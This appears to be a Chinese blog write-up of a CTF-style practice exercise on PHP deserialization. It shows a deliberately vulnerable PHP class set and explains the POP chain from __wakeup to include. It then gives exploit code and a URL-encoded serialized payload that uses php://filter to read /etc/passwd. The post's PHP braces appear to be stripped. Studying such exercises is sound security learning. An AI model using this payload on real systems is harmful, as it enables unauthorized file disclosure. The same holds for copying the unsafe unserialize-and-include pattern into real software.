PHP反序列化构造POP链小练习

Posted 2022-07-31 末 初

一个师傅给的源码，来源不知，就当作小练习记录一下

<?php
error_reporting(0);
class Vox
    protected $headset;
    public $sound;
    public function fun($pulse)
        include($pulse);
    
    public function __invoke()
        $this->fun($this->headset);
    


class Saw
    public $fearless;
    public $gun;
    public function __construct($file='index.php')
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    

    public function __toString()
        $this->gun['gun']->fearless;
        return "Saw";
    

    public function _pain()
        if($this->fearless)
            highlight_file($this->fearless);
        
    

    public function __wakeup()
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\\.\\./i", $this->fearless))
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        
    


class Petal
    public $seed;
    public function __construct()
        $this->seed = array();
    

    public function __get($sun)
        $Nourishment = $this->seed;
        return $Nourishment();
    


if(isset($_GET['ozo']))
    unserialize($_GET['ozo']);

else
    $Saw = new Saw('index.php');
    $Saw->_pain();

?> 

首先确定最终目的是控制include($pulse)，控制包含点即可利用伪协议构造任意文件读取
然后一步步反推Vox::__invoke() -> Vox::fun()，而触发__invoke()的条件是将实例对象当作方法调用时触发，Petal::__get()中的return $Nourishment();满足条件，只要赋值一个对象给$this->seed即可触发，继续分析Petal::__get()的触发条件是调用不可访问的属性或者方法时被触发，Saw::__toString()中的$this->gun['gun']->fearless可满足，最后就是如何触发Saw::__toString()，Saw::__wakeup()中，进行了正则匹配，如果将$this->fearless设置成一个对象，即可触发Saw::__toString()。

整个过程的POP链

Saw::__wakeup() -> Saw::__toString() -> Petal::__get() -> Vox::__invoke() -> Vox::fun()

<?php 
class Vox

    protected $headset = "php://filter/read=convert.base64-encode/resource=/etc/passwd";


class Saw

    public $fearless;
    public $gun;


class Petal

    public $seed;


$Vox = new Vox();
$Saw1 = new Saw();
$Saw2 = new Saw(); 
$Petal = new Petal();

$Saw1->fearless = $Saw2;
$Saw2->gun['gun'] = $Petal;
$Petal->seed = $Vox;

echo urlencode(serialize($Saw1));
 ?>

PS C:\\Users\\Administrator\\Desktop> php -f .\\code.php
O%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BO%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BN%3Bs%3A3%3A%22gun%22%3Ba%3A1%3A%7Bs%3A3%3A%22gun%22%3BO%3A5%3A%22Petal%22%3A1%3A%7Bs%3A4%3A%22seed%22%3BO%3A3%3A%22Vox%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00headset%22%3Bs%3A60%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fetc%2Fpasswd%22%3B%7D%7D%7D%7Ds%3A3%3A%22gun%22%3BN%3B%7D